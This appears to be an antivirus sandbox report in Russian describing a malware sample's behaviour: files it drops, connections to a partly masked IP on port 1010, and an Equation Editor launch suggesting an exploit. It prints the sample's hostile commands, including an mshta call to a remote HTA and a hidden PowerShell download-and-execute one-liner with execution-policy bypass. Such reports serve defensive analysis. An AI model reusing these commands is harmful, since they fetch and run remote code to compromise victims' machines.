Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\mshta.exe' http://10#.##7.38.15:1010/hta &AAAAAAA C
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\ven.exe
- %TEMP%\nsw10bd.tmp\system.dll
- %APPDATA%\local\407dobson1.jpg
- %APPDATA%\local\ssmport3.hxc
- %APPDATA%\local\co1815setposition.cs
- %APPDATA%\local\ethiopian-goha16.psf.gz
- %APPDATA%\local\customctrlssdefig3.gif
- %APPDATA%\local\microsoftvisualbasicvsa.dll
- %APPDATA%\local\co5531copytostr.cs
- %TEMP%\dsmlpagedsearch.csproj
- %TEMP%\nsw10bd.tmp\bgimage.dll
Сетевая активность
Подключается к
- '10#.#07.38.15':1010
TCP
Запросы HTTP GET
- http://10#.##7.38.15:1010/hta
- http://10#.##7.38.15:1010/get
Другое
Создает и запускает на исполнение
- 'C:\users\public\ven.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://10#....' (со скрытым окном)
- '<SYSTEM32>\mshta.exe' http://10#.##7.38.15:1010/hta &AAAAAAA C' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
